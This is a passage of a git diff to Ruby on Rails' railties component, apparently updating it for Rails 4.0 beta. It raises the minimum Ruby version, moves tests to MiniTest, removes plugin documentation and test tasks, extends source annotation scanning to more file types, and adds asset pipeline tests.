+++ b/railties/lib/rails/railtie/configuration.rb
@@ -7,6 +7,18 @@ module Rails
@@options ||= {}
end
+ # Add files that should be watched for change.
+ def watchable_files
+ @@watchable_files ||= []
+ end
+
+ # Add directories that should be watched for change.
+ # The key of the hashes should be directories and the values should
+ # be an array of extensions to match in each directory.
+ def watchable_dirs
+ @@watchable_dirs ||= {}
+ end
+
# This allows you to modify the application's middlewares from Engines.
#
# All operations you run on the app_middleware will be replayed on the
@@ -31,7 +43,7 @@ module Rails
ActiveSupport.on_load(:before_configuration, :yield => true, &block)
end
- # Third configurable block to run. Does not run if config.cache_classes
+ # Third configurable block to run. Does not run if +config.cache_classes+
# set to false.
def before_eager_load(&block)
ActiveSupport.on_load(:before_eager_load, :yield => true, &block)
diff --git a/railties/lib/rails/ruby_version_check.rb b/railties/lib/rails/ruby_version_check.rb
index 4d57c5973c..4536fedaa3 100644
--- a/railties/lib/rails/ruby_version_check.rb
+++ b/railties/lib/rails/ruby_version_check.rb
@@ -1,8 +1,8 @@
-if RUBY_VERSION < '1.8.7'
+if RUBY_VERSION < '1.9.3'
desc = defined?(RUBY_DESCRIPTION) ? RUBY_DESCRIPTION : "ruby #{RUBY_VERSION} (#{RUBY_RELEASE_DATE})"
abort <<-end_message
- Rails 3 requires Ruby 1.8.7 or 1.9.2.
+ Rails 4 requires Ruby 1.9.3+.
You're running
#{desc}
@@ -10,14 +10,4 @@ if RUBY_VERSION < '1.8.7'
Please upgrade to continue.
end_message
-elsif RUBY_VERSION > '1.9' and RUBY_VERSION < '1.9.2'
- $stderr.puts <<-end_message
-
- Rails 3 doesn't officially support Ruby 1.9.1 since recent stable
- releases have segfaulted the test suite. Please upgrade to Ruby 1.9.2.
-
- You're running
- #{RUBY_DESCRIPTION}
-
- end_message
end
diff --git a/railties/lib/rails/rubyprof_ext.rb b/railties/lib/rails/rubyprof_ext.rb
index f6e90357ce..017eba3a76 100644
--- a/railties/lib/rails/rubyprof_ext.rb
+++ b/railties/lib/rails/rubyprof_ext.rb
@@ -12,7 +12,7 @@ module Prof #:nodoc:
io.puts " time seconds seconds calls ms/call ms/call name"
sum = 0.0
- for r in results
+ results.each do |r|
sum += r.self_time
name = if r.method_class.nil?
diff --git a/railties/lib/rails/source_annotation_extractor.rb b/railties/lib/rails/source_annotation_extractor.rb
index 1eed763aa3..31e34023c0 100644
--- a/railties/lib/rails/source_annotation_extractor.rb
+++ b/railties/lib/rails/source_annotation_extractor.rb
@@ -14,6 +14,9 @@
# of the line (or closing ERB comment tag) is considered to be their text.
class SourceAnnotationExtractor
class Annotation < Struct.new(:line, :tag, :text)
+ def self.directories
+ @@directories ||= %w(app config lib script test) + (ENV['SOURCE_ANNOTATION_DIRECTORIES'] || '').split(',')
+ end
# Returns a representation of the annotation that looks like this:
#
@@ -22,7 +25,7 @@ class SourceAnnotationExtractor
# If +options+ has a flag <tt>:tag</tt> the tag is shown as in the example above.
# Otherwise the string contains just line and text.
def to_s(options={})
- s = "[%3d] " % line
+ s = "[#{line.to_s.rjust(options[:indent])}] "
s << "[#{tag}] " if options[:tag]
s << text
end
@@ -30,8 +33,9 @@ class SourceAnnotationExtractor
# Prints all annotations with tag +tag+ under the root directories +app+, +config+, +lib+,
# +script+, and +test+ (recursively). Only filenames with extension
- # +.builder+, +.rb+, +.rxml+, +.rhtml+, or +.erb+ are taken into account. The +options+
- # hash is passed to each annotation's +to_s+.
+ # +.builder+, +.rb+, +.erb+, +.haml+, +.slim+, +.css+, +.scss+, +.js+, and
+ # +.coffee+ are taken into account. The +options+ hash is passed to each
+ # annotation's +to_s+.
#
# This class method is the single entry point for the rake tasks.
def self.enumerate(tag, options={})
@@ -46,16 +50,15 @@ class SourceAnnotationExtractor
end
# Returns a hash that maps filenames under +dirs+ (recursively) to arrays
- # with their annotations. Only files with annotations are included, and only
- # those with extension +.builder+, +.rb+, +.rxml+, +.rhtml+, and +.erb+
- # are taken into account.
- def find(dirs=%w(app config lib script test))
+ # with their annotations.
+ def find(dirs = Annotation.directories)
dirs.inject({}) { |h, dir| h.update(find_in(dir)) }
end
# Returns a hash that maps filenames under +dir+ (recursively) to arrays
# with their annotations. Only files with annotations are included, and only
- # those with extension +.builder+, +.rb+, +.rxml+, +.rhtml+, and +.erb+
+ # those with extension +.builder+, +.rb+, +.erb+, +.haml+, +.slim+, +.css+,
+ # +.scss+, +.js+, and +.coffee+
# are taken into account.
def find_in(dir)
results = {}
@@ -65,10 +68,16 @@ class SourceAnnotationExtractor
if File.directory?(item)
results.update(find_in(item))
- elsif item =~ /\.(builder|(r(?:b|xml|js)))$/
+ elsif item =~ /\.(builder|rb|coffee)$/
results.update(extract_annotations_from(item, /#\s*(#{tag}):?\s*(.*)$/))
- elsif item =~ /\.(rhtml|erb)$/
+ elsif item =~ /\.(css|scss|js)$/
+ results.update(extract_annotations_from(item, /\/\/\s*(#{tag}):?\s*(.*)$/))
+ elsif item =~ /\.erb$/
results.update(extract_annotations_from(item, /<%\s*#\s*(#{tag}):?\s*(.*?)\s*%>/))
+ elsif item =~ /\.haml$/
+ results.update(extract_annotations_from(item, /-\s*#\s*(#{tag}):?\s*(.*)$/))
+ elsif item =~ /\.slim$/
+ results.update(extract_annotations_from(item, /\/\s*\s*(#{tag}):?\s*(.*)$/))
end
end
@@ -91,6 +100,7 @@ class SourceAnnotationExtractor
# Prints the mapping from filenames to annotations in +results+ ordered by filename.
# The +options+ hash is passed to each annotation's +to_s+.
def display(results, options={})
+ options[:indent] = results.map { |f, a| a.map(&:line) }.flatten.max.to_s.size
results.keys.sort.each do |file|
puts "#{file}:"
results[file].each do |note|
diff --git a/railties/lib/rails/tasks/documentation.rake b/railties/lib/rails/tasks/documentation.rake
index ca8875ad9b..4ec49eee76 100644
--- a/railties/lib/rails/tasks/documentation.rake
+++ b/railties/lib/rails/tasks/documentation.rake
@@ -1,14 +1,8 @@
-begin
- require 'rdoc/task'
-rescue LoadError
- require 'rdoc/rdoc'
- require 'rake/rdoctask'
- RDoc::Task = Rake::RDocTask
-end
+require 'rdoc/task'
# Monkey-patch to remove redoc'ing and clobber descriptions to cut down on rake -T noise
class RDocTaskWithoutDescriptions < RDoc::Task
- include ::Rake::DSL
+ include ::Rake::DSL if defined?(::Rake::DSL)
def define
task rdoc_task_name
@@ -55,7 +49,7 @@ namespace :doc do
rdoc.rdoc_files.include('app/**/*.rb')
rdoc.rdoc_files.include('lib/**/*.rb')
}
- Rake::Task['doc:app'].comment = "Generate docs for the app -- also available doc:rails, doc:guides, doc:plugins (options: TEMPLATE=/rdoc-template.rb, TITLE=\"Custom Title\")"
+ Rake::Task['doc:app'].comment = "Generate docs for the app -- also available doc:rails, doc:guides (options: TEMPLATE=/rdoc-template.rb, TITLE=\"Custom Title\")"
# desc 'Generate documentation for the Rails framework.'
RDocTaskWithoutDescriptions.new("rails") { |rdoc|
@@ -63,93 +57,49 @@ namespace :doc do
rdoc.template = "#{ENV['template']}.rb" if ENV['template']
rdoc.title = "Rails Framework Documentation"
rdoc.options << '--line-numbers'
- rdoc.rdoc_files.include('README')
+ rdoc.rdoc_files.include('README.rdoc')
gem_path('actionmailer') do |actionmailer|
- %w(README.rdoc CHANGELOG MIT-LICENSE lib/action_mailer/base.rb).each do |file|
+ %w(README.rdoc CHANGELOG.md MIT-LICENSE lib/action_mailer/base.rb).each do |file|
rdoc.rdoc_files.include("#{actionmailer}/#{file}")
end
end
gem_path('actionpack') do |actionpack|
- %w(README.rdoc CHANGELOG MIT-LICENSE lib/action_controller/**/*.rb lib/action_view/**/*.rb).each do |file|
+ %w(README.rdoc CHANGELOG.md MIT-LICENSE lib/action_controller/**/*.rb lib/action_view/**/*.rb).each do |file|
rdoc.rdoc_files.include("#{actionpack}/#{file}")
end
end
gem_path('activemodel') do |activemodel|
- %w(README.rdoc CHANGELOG MIT-LICENSE lib/active_model/**/*.rb).each do |file|
+ %w(README.rdoc CHANGELOG.md MIT-LICENSE lib/active_model/**/*.rb).each do |file|
rdoc.rdoc_files.include("#{activemodel}/#{file}")
end
end
gem_path('activerecord') do |activerecord|
- %w(README.rdoc CHANGELOG lib/active_record/**/*.rb).each do |file|
+ %w(README.rdoc CHANGELOG.md lib/active_record/**/*.rb).each do |file|
rdoc.rdoc_files.include("#{activerecord}/#{file}")
end
end
- gem_path('activeresource') do |activeresource|
- %w(README.rdoc CHANGELOG lib/active_resource.rb lib/active_resource/*).each do |file|
- rdoc.rdoc_files.include("#{activeresource}/#{file}")
- end
- end
-
gem_path('activesupport') do |activesupport|
- %w(README.rdoc CHANGELOG lib/active_support/**/*.rb).each do |file|
+ %w(README.rdoc CHANGELOG.md lib/active_support/**/*.rb).each do |file|
rdoc.rdoc_files.include("#{activesupport}/#{file}")
end
end
gem_path('railties') do |railties|
- %w(README.rdoc CHANGELOG lib/{*.rb,commands/*.rb,generators/*.rb}).each do |file|
+ %w(README.rdoc CHANGELOG.md lib/{*.rb,commands/*.rb,generators/*.rb}).each do |file|
rdoc.rdoc_files.include("#{railties}/#{file}")
end
end
}
- plugins = FileList['vendor/plugins/**'].collect { |plugin| File.basename(plugin) }
-
- # desc "Generate documentation for all installed plugins"
- task :plugins => plugins.collect { |plugin| "doc:plugins:#{plugin}" }
-
- # desc "Remove plugin documentation"
- task :clobber_plugins do
- rm_rf 'doc/plugins' rescue nil
- end
-
# desc "Generate Rails Guides"
task :guides do
# FIXME: Reaching outside lib directory is a bad idea
require File.expand_path('../../../../guides/rails_guides', __FILE__)
RailsGuides::Generator.new(Rails.root.join("doc/guides")).generate
end
-
- namespace :plugins do
- # Define doc tasks for each plugin
- plugins.each do |plugin|
- # desc "Generate documentation for the #{plugin} plugin"
- task(plugin => :environment) do
- plugin_base = "vendor/plugins/#{plugin}"
- options = []
- files = Rake::FileList.new
- options << "-o doc/plugins/#{plugin}"
- options << "--title '#{plugin.titlecase} Plugin Documentation'"
- options << '--line-numbers'
- options << '--charset' << 'utf-8'
- options << '-T html'
-
- files.include("#{plugin_base}/lib/**/*.rb")
- if File.exist?("#{plugin_base}/README")
- files.include("#{plugin_base}/README")
- options << "--main '#{plugin_base}/README'"
- end
- files.include("#{plugin_base}/CHANGELOG") if File.exist?("#{plugin_base}/CHANGELOG")
-
- options << files.to_s
-
- sh %(rdoc #{options * ' '})
- end
- end
- end
end
diff --git a/railties/lib/rails/tasks/engine.rake b/railties/lib/rails/tasks/engine.rake
index 2152e811f5..eea8abe7d2 100644
--- a/railties/lib/rails/tasks/engine.rake
+++ b/railties/lib/rails/tasks/engine.rake
@@ -2,6 +2,7 @@ task "load_app" do
namespace :app do
load APP_RAKEFILE
end
+ task :environment => "app:environment"
if !defined?(ENGINE_PATH) || !ENGINE_PATH
ENGINE_PATH = find_engine_path(APP_RAKEFILE)
diff --git a/railties/lib/rails/tasks/statistics.rake b/railties/lib/rails/tasks/statistics.rake
index 40f8c1034a..f684e71267 100644
--- a/railties/lib/rails/tasks/statistics.rake
+++ b/railties/lib/rails/tasks/statistics.rake
@@ -2,6 +2,7 @@ STATS_DIRECTORIES = [
%w(Controllers app/controllers),
%w(Helpers app/helpers),
%w(Models app/models),
+ %w(Mailers app/mailers),
%w(Libraries lib/),
%w(APIs app/apis),
%w(Integration\ tests test/integration),
diff --git a/railties/lib/rails/test_help.rb b/railties/lib/rails/test_help.rb
index 8d0d8cacac..46bf3bbe48 100644
--- a/railties/lib/rails/test_help.rb
+++ b/railties/lib/rails/test_help.rb
@@ -2,38 +2,22 @@
# so fixtures aren't loaded into that environment
abort("Abort testing: Your Rails environment is running in production mode!") if Rails.env.production?
-require 'test/unit'
+require 'minitest/autorun'
require 'active_support/test_case'
require 'action_controller/test_case'
require 'action_dispatch/testing/integration'
-if defined?(Test::Unit::Util::BacktraceFilter) && ENV['BACKTRACE'].nil?
- require 'rails/backtrace_cleaner'
- Test::Unit::Util::BacktraceFilter.module_eval { include Rails::BacktraceFilterForTestUnit }
-end
-
-if defined?(MiniTest)
- # Enable turn if it is available
- begin
- require 'turn'
-
- if MiniTest::Unit.respond_to?(:use_natural_language_case_names=)
- MiniTest::Unit.use_natural_language_case_names = true
- end
- rescue LoadError
- end
+# Enable turn if it is available
+begin
+ require 'turn'
+ MiniTest::Unit.use_natural_language_case_names = true
+rescue LoadError
end
if defined?(ActiveRecord::Base)
- require 'active_record/test_case'
-
class ActiveSupport::TestCase
include ActiveRecord::TestFixtures
self.fixture_path = "#{Rails.root}/test/fixtures/"
-
- setup do
- ActiveRecord::IdentityMap.clear
- end
end
ActionDispatch::IntegrationTest.fixture_path = ActiveSupport::TestCase.fixture_path
diff --git a/railties/lib/rails/test_unit/sub_test_task.rb b/railties/lib/rails/test_unit/sub_test_task.rb
new file mode 100644
index 0000000000..87b6f9b5a4
--- /dev/null
+++ b/railties/lib/rails/test_unit/sub_test_task.rb
@@ -0,0 +1,8 @@
+module Rails
+ # Silence the default description to cut down on `rake -T` noise.
+ class SubTestTask < Rake::TestTask
+ def desc(string)
+ # Ignore the description.
+ end
+ end
+end
diff --git a/railties/lib/rails/test_unit/testing.rake b/railties/lib/rails/test_unit/testing.rake
index fa01f42c5b..55bebb549b 100644
--- a/railties/lib/rails/test_unit/testing.rake
+++ b/railties/lib/rails/test_unit/testing.rake
@@ -1,35 +1,6 @@
require 'rbconfig'
require 'rake/testtask'
-
-# Monkey-patch to silence the description from Rake::TestTask to cut down on rake -T noise
-class TestTaskWithoutDescription < Rake::TestTask
- # Create the tasks defined by this task lib.
- def define
- lib_path = @libs.join(File::PATH_SEPARATOR)
- task @name do
- run_code = ''
- RakeFileUtils.verbose(@verbose) do
- run_code =
- case @loader
- when :direct
- "-e 'ARGV.each{|f| load f}'"
- when :testrb
- "-S testrb #{fix}"
- when :rake
- rake_loader
- end
- @ruby_opts.unshift( "-I\"#{lib_path}\"" )
- @ruby_opts.unshift( "-w" ) if @warning
- ruby @ruby_opts.join(" ") +
- " \"#{run_code}\" " +
- file_list.collect { |fn| "\"#{fn}\"" }.join(' ') +
- " #{option_list}"
- end
- end
- self
- end
-end
-
+require 'rails/test_unit/sub_test_task'
TEST_CHANGES_SINCE = Time.now - 600
@@ -61,6 +32,7 @@ end
# Recreated here from Active Support because :uncommitted needs it before Rails is available
module Kernel
+ remove_method :silence_stderr # Removing old method to prevent method redefined warning
def silence_stderr
old_stderr = STDERR.dup
STDERR.reopen(RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL:' : '/dev/null')
@@ -73,22 +45,9 @@ end
task :default => :test
-desc 'Runs test:units, test:functionals, test:integration together (also available: test:benchmark, test:profile, test:plugins)'
+desc 'Runs test:units, test:functionals, test:integration together (also available: test:benchmark, test:profile)'
task :test do
- tests_to_run = ENV['TEST'] ? ["test:single"] : %w(test:units test:functionals test:integration)
- errors = tests_to_run.collect do |task|
- begin
- Rake::Task[task].invoke
- nil
- rescue => e
- { :task => task, :exception => e }
- end
- end.compact
-
- if errors.any?
- puts errors.map { |e| "Errors running #{e[:task]}! #{e[:exception].inspect}" }.join("\n")
- abort
- end
+ Rake::Task[ENV['TEST'] ? 'test:single' : 'test:run'].invoke
end
namespace :test do
@@ -96,6 +55,22 @@ namespace :test do
# Placeholder task for other Railtie and plugins to enhance. See Active Record for an example.
end
+ task :run do
+ errors = %w(test:units test:functionals test:integration).collect do |task|
+ begin
+ Rake::Task[task].invoke
+ nil
+ rescue => e
+ { :task => task, :exception => e }
+ end
+ end.compact
+
+ if errors.any?
+ puts errors.map { |e| "Errors running #{e[:task]}! #{e[:exception].inspect}" }.join("\n")
+ abort
+ end
+ end
+
Rake::TestTask.new(:recent => "test:prepare") do |t|
since = TEST_CHANGES_SINCE
touched = FileList['test/**/*_test.rb'].select { |path| File.mtime(path) > since } +
@@ -122,8 +97,7 @@ namespace :test do
unit_tests = models.map { |model| "test/unit/#{File.basename(model, '.rb')}_test.rb" }
functional_tests = controllers.map { |controller| "test/functional/#{File.basename(controller, '.rb')}_test.rb" }
-
- unit_tests.uniq + functional_tests.uniq
+ (unit_tests + functional_tests).uniq.select { |file| File.exist?(file) }
end
t.libs << 'test'
@@ -134,39 +108,29 @@ namespace :test do
t.libs << "test"
end
- TestTaskWithoutDescription.new(:units => "test:prepare") do |t|
+ Rails::SubTestTask.new(:units => "test:prepare") do |t|
t.libs << "test"
t.pattern = 'test/unit/**/*_test.rb'
end
- TestTaskWithoutDescription.new(:functionals => "test:prepare") do |t|
+ Rails::SubTestTask.new(:functionals => "test:prepare") do |t|
t.libs << "test"
t.pattern = 'test/functional/**/*_test.rb'
end
- TestTaskWithoutDescription.new(:integration => "test:prepare") do |t|
+ Rails::SubTestTask.new(:integration => "test:prepare") do |t|
t.libs << "test"
t.pattern = 'test/integration/**/*_test.rb'
end
- TestTaskWithoutDescription.new(:benchmark => 'test:prepare') do |t|
+ Rails::SubTestTask.new(:benchmark => 'test:prepare') do |t|
t.libs << 'test'
t.pattern = 'test/performance/**/*_test.rb'
t.options = '-- --benchmark'
end
- TestTaskWithoutDescription.new(:profile => 'test:prepare') do |t|
+ Rails::SubTestTask.new(:profile => 'test:prepare') do |t|
t.libs << 'test'
t.pattern = 'test/performance/**/*_test.rb'
end
-
- TestTaskWithoutDescription.new(:plugins => :environment) do |t|
- t.libs << "test"
-
- if ENV['PLUGIN']
- t.pattern = "vendor/plugins/#{ENV['PLUGIN']}/test/**/*_test.rb"
- else
- t.pattern = 'vendor/plugins/*/**/test/**/*_test.rb'
- end
- end
end
diff --git a/railties/lib/rails/version.rb b/railties/lib/rails/version.rb
index 254227ecf7..ec878f9dcf 100644
--- a/railties/lib/rails/version.rb
+++ b/railties/lib/rails/version.rb
@@ -1,7 +1,7 @@
module Rails
module VERSION #:nodoc:
- MAJOR = 3
- MINOR = 2
+ MAJOR = 4
+ MINOR = 0
TINY = 0
PRE = "beta"
diff --git a/railties/railties.gemspec b/railties/railties.gemspec
index b917128885..7067253279 100644
--- a/railties/railties.gemspec
+++ b/railties/railties.gemspec
@@ -6,13 +6,13 @@ Gem::Specification.new do |s|
s.version = version
s.summary = 'Tools for creating, working with, and running Rails applications.'
s.description = 'Rails internals: application bootup, plugins, generators, and rake tasks.'
- s.required_ruby_version = '>= 1.8.7'
+ s.required_ruby_version = '>= 1.9.3'
s.author = 'David Heinemeier Hansson'
s.email = 'david@loudthinking.com'
s.homepage = 'http://www.rubyonrails.org'
- s.files = Dir['CHANGELOG', 'README.rdoc', 'bin/**/*', 'guides/**/*', 'lib/**/{*,.[a-z]*}']
+ s.files = Dir['CHANGELOG.md', 'README.rdoc', 'bin/**/*', 'lib/**/{*,.[a-z]*}']
s.require_path = 'lib'
s.bindir = 'bin'
@@ -21,8 +21,11 @@ Gem::Specification.new do |s|
s.rdoc_options << '--exclude' << '.'
s.add_dependency('rake', '>= 0.8.7')
- s.add_dependency('thor', '~> 0.14.6')
- s.add_dependency('rack-ssl', '~> 1.3.2')
+
+ # The current API of the Thor gem (0.14) will remain stable at least until Thor 2.0. Because
+ # Thor is so heavily used by other gems, we will accept Thor's semver guarantee to reduce
+ # the possibility of conflicts.
+ s.add_dependency('thor', '>= 0.14.6', '< 2.0')
s.add_dependency('rdoc', '~> 3.4')
s.add_dependency('activesupport', version)
s.add_dependency('actionpack', version)
diff --git a/railties/test/abstract_unit.rb b/railties/test/abstract_unit.rb
index 1c3f8a701a..dfcf5aa27d 100644
--- a/railties/test/abstract_unit.rb
+++ b/railties/test/abstract_unit.rb
@@ -1,11 +1,12 @@
+ENV["RAILS_ENV"] ||= "test"
+
require File.expand_path("../../../load_paths", __FILE__)
require 'stringio'
-require 'test/unit'
+require 'minitest/autorun'
require 'fileutils'
require 'active_support'
-require 'active_support/core_ext/logger'
require 'action_controller'
require 'rails/all'
diff --git a/railties/test/application/asset_debugging_test.rb b/railties/test/application/asset_debugging_test.rb
index 1b99af22a4..ecacb34cb2 100644
--- a/railties/test/application/asset_debugging_test.rb
+++ b/railties/test/application/asset_debugging_test.rb
@@ -2,7 +2,7 @@ require 'isolation/abstract_unit'
require 'rack/test'
module ApplicationTests
- class AssetDebuggingTest < Test::Unit::TestCase
+ class AssetDebuggingTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
include Rack::Test::Methods
@@ -15,7 +15,7 @@ module ApplicationTests
app_file "config/routes.rb", <<-RUBY
AppTemplate::Application.routes.draw do
- match '/posts', :to => "posts#index"
+ get '/posts', :to => "posts#index"
end
RUBY
@@ -45,8 +45,8 @@ module ApplicationTests
# the debug_assets params isn't used if compile is off
get '/posts?debug_assets=true'
- assert_match(/<script src="\/assets\/application-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body)
- assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body)
+ assert_match(/<script src="\/assets\/application-([0-z]+)\.js"><\/script>/, last_response.body)
+ assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js"><\/script>/, last_response.body)
end
test "assets aren't concatened when compile is true is on and debug_assets params is true" do
@@ -58,8 +58,8 @@ module ApplicationTests
class ::PostsController < ActionController::Base ; end
get '/posts?debug_assets=true'
- assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body)
- assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body)
+ assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1"><\/script>/, last_response.body)
+ assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1"><\/script>/, last_response.body)
end
end
end
diff --git a/railties/test/application/assets_test.rb b/railties/test/application/assets_test.rb
index d4ffbe3d66..e23a19d69c 100644
--- a/railties/test/application/assets_test.rb
+++ b/railties/test/application/assets_test.rb
@@ -4,7 +4,7 @@ require 'active_support/core_ext/kernel/reporting'
require 'rack/test'
module ApplicationTests
- class AssetsTest < Test::Unit::TestCase
+ class AssetsTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
include Rack::Test::Methods
@@ -17,10 +17,6 @@ module ApplicationTests
teardown_app
end
- def app
- @app ||= Rails.application
- end
-
def precompile!
quietly do
Dir.chdir(app_path){ `bundle exec rake assets:precompile` }
@@ -32,7 +28,7 @@ module ApplicationTests
app_file 'config/routes.rb', <<-RUBY
AppTemplate::Application.routes.draw do
- match '*path', :to => lambda { |env| [200, { "Content-Type" => "text/html" }, "Not an asset"] }
+ get '*path', :to => lambda { |env| [200, { "Content-Type" => "text/html" }, "Not an asset"] }
end
RUBY
@@ -68,11 +64,11 @@ module ApplicationTests
files << Dir["#{app_path}/public/assets/foo/application.js"].first
files.each do |file|
assert_not_nil file, "Expected application.js asset to be generated, but none found"
- assert_equal "alert()", File.read(file)
+ assert_equal "alert();", File.read(file)
end
end
- test "precompile application.js and application.css and all other files not ending with .js or .css by default" do
+ test "precompile application.js and application.css and all other non JS/CSS files" do
app_file "app/assets/javascripts/application.js", "alert();"
app_file "app/assets/stylesheets/application.css", "body{}"
@@ -82,8 +78,11 @@ module ApplicationTests
app_file "app/assets/javascripts/something.min.js", "alert();"
app_file "app/assets/stylesheets/something.min.css", "body{}"
+ app_file "app/assets/javascripts/something.else.js.erb", "alert();"
+ app_file "app/assets/stylesheets/something.else.css.erb", "body{}"
+
images_should_compile = ["a.png", "happyface.png", "happy_face.png", "happy.face.png",
- "happy-face.png", "happy.happy_face.png", "happy_happy.face.png",
+ "happy-face.png", "happy.happy_face.png", "happy_happy.face.png",
"happy.happy.face.png", "happy", "happy.face", "-happyface",
"-happy.png", "-happy.face.png", "_happyface", "_happy.face.png",
"_happy.png"]
@@ -106,6 +105,9 @@ module ApplicationTests
assert !File.exists?("#{app_path}/public/assets/something.min.js")
assert !File.exists?("#{app_path}/public/assets/something.min.css")
+
+ assert !File.exists?("#{app_path}/public/assets/something.else.js")
+ assert !File.exists?("#{app_path}/public/assets/something.else.css")
end
test "asset pipeline should use a Sprockets::Index when config.assets.digest is true" do
@@ -202,7 +204,7 @@ module ApplicationTests
app_file "config/routes.rb", <<-RUBY
AppTemplate::Application.routes.draw do
- match '/posts', :to => "posts#index"
+ get '/posts', :to => "posts#index"
end
RUBY
@@ -213,7 +215,9 @@ module ApplicationTests
app_file "app/assets/javascripts/app.js", "alert();"
require "#{app_path}/config/environment"
- class ::PostsController < ActionController::Base ; end
+ class ::PostsController < ActionController::Base
+ def show_detailed_exceptions?() true end
+ end
get '/posts'
assert_match(/AssetNotPrecompiledError/, last_response.body)
@@ -226,7 +230,7 @@ module ApplicationTests
app_file "config/routes.rb", <<-RUBY
AppTemplate::Application.routes.draw do
- match '/posts', :to => "posts#index"
+ get '/posts', :to => "posts#index"
end
RUBY
@@ -310,7 +314,7 @@ module ApplicationTests
Dir.chdir(app_path){ `bundle exec rake assets:clean` }
end
- files = Dir["#{app_path}/public/assets/**/*", "#{app_path}/tmp/cache/*"]
+ files = Dir["#{app_path}/public/assets/**/*", "#{app_path}/tmp/cache/assets/*"]
assert_equal 0, files.length, "Expected no assets, but found #{files.join(', ')}"
end
@@ -330,7 +334,7 @@ module ApplicationTests
app_file "config/routes.rb", <<-RUBY
AppTemplate::Application.routes.draw do
- match '/omg', :to => "omg#index"
+ get '/omg', :to => "omg#index"
end
RUBY
@@ -378,8 +382,8 @@ module ApplicationTests
# the debug_assets params isn't used if compile is off
get '/posts?debug_assets=true'
- assert_match(/<script src="\/assets\/application-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body)
- assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body)
+ assert_match(/<script src="\/assets\/application-([0-z]+)\.js"><\/script>/, last_response.body)
+ assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js"><\/script>/, last_response.body)
end
test "assets aren't concatened when compile is true is on and debug_assets params is true" do
@@ -393,8 +397,8 @@ module ApplicationTests
class ::PostsController < ActionController::Base ; end
get '/posts?debug_assets=true'
- assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body)
- assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body)
+ assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1"><\/script>/, last_response.body)
+ assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1"><\/script>/, last_response.body)
end
test "assets can access model information when precompiling" do
@@ -419,6 +423,12 @@ module ApplicationTests
assert_equal "NoPost;\n", File.read("#{app_path}/public/assets/application.js")
end
+ test "initialization on the assets group should set assets_dir" do
+ require "#{app_path}/config/application"
+ Rails.application.initialize!(:assets)
+ assert_not_nil Rails.application.config.action_controller.assets_dir
+ end
+
test "enhancements to assets:precompile should only run once" do
app_file "lib/tasks/enhance.rake", "Rake::Task['assets:precompile'].enhance { puts 'enhancement' }"
output = precompile!
@@ -451,6 +461,49 @@ module ApplicationTests
assert_equal 0, files.length, "Expected application.js asset to be removed, but still exists"
end
+ test "asset urls should use the request's protocol by default" do
+ app_with_assets_in_view
+ add_to_config "config.asset_host = 'example.com'"
+ require "#{app_path}/config/environment"
+ class ::PostsController < ActionController::Base; end
+
+ get '/posts', {}, {'HTTPS'=>'off'}
+ assert_match('src="http://example.com/assets/application.js', last_response.body)
+ get '/posts', {}, {'HTTPS'=>'on'}
+ assert_match('src="https://example.com/assets/application.js', last_response.body)
+ end
+
+ test "asset urls should be protocol-relative if no request is in scope" do
+ app_file "app/assets/javascripts/image_loader.js.erb", 'var src="<%= image_path("rails.png") %>";'
+ add_to_config "config.assets.precompile = %w{image_loader.js}"
+ add_to_config "config.asset_host = 'example.com'"
+ precompile!
+
+ assert_match 'src="//example.com/assets/rails.png"', File.read("#{app_path}/public/assets/image_loader.js")
+ end
+
+ test "asset paths should use RAILS_RELATIVE_URL_ROOT by default" do
+ ENV["RAILS_RELATIVE_URL_ROOT"] = "/sub/uri"
+
+ app_file "app/assets/javascripts/app.js.erb", 'var src="<%= image_path("rails.png") %>";'
+ add_to_config "config.assets.precompile = %w{app.js}"
+ precompile!
+
+ assert_match 'src="/sub/uri/assets/rails.png"', File.read("#{app_path}/public/assets/app.js")
+ end
+
+ test "assets:cache:clean should clean cache" do
+ ENV["RAILS_ENV"] = "production"
+ precompile!
+
+ quietly do
+ Dir.chdir(app_path){ `bundle exec rake assets:cache:clean` }
+ end
+
+ require "#{app_path}/config/environment"
+ assert_equal 0, Dir.entries(Rails.application.assets.cache.cache_path).size - 2 # reject [".", ".."]
+ end
+
private
def app_with_assets_in_view
@@ -460,7 +513,7 @@ module ApplicationTests
app_file "config/routes.rb", <<-RUBY
AppTemplate::Application.routes.draw do
- match '/posts', :to => "posts#index"
+ get '/posts', :to => "posts#index"
end
RUBY
end
diff --git a/railties/test/application/build_original_fullpath_test.rb b/railties/test/application/build_original_fullpath_test.rb
new file mode 100644
index 0000000000..647ffb097a
--- /dev/null
+++ b/railties/test/application/build_original_fullpath_test.rb
@@ -0,0 +1,27 @@
+require "abstract_unit"
+
+module ApplicationTests
+ class BuildOriginalPathTest < ActiveSupport::TestCase
+ def test_include_original_PATH_info_in_ORIGINAL_FULLPATH
+ env = { 'PATH_INFO' => '/foo/' }
+ assert_equal "/foo/", Rails.application.send(:build_original_fullpath, env)
+ end
+
+ def test_include_SCRIPT_NAME
+ env = {
+ 'SCRIPT_NAME' => '/foo',
+ 'PATH_INFO' => '/bar'
+ }
+
+ assert_equal "/foo/bar", Rails.application.send(:build_original_fullpath, env)
+ end
+
+ def test_include_QUERY_STRING
+ env = {
+ 'PATH_INFO' => '/foo',
+ 'QUERY_STRING' => 'bar',
+ }
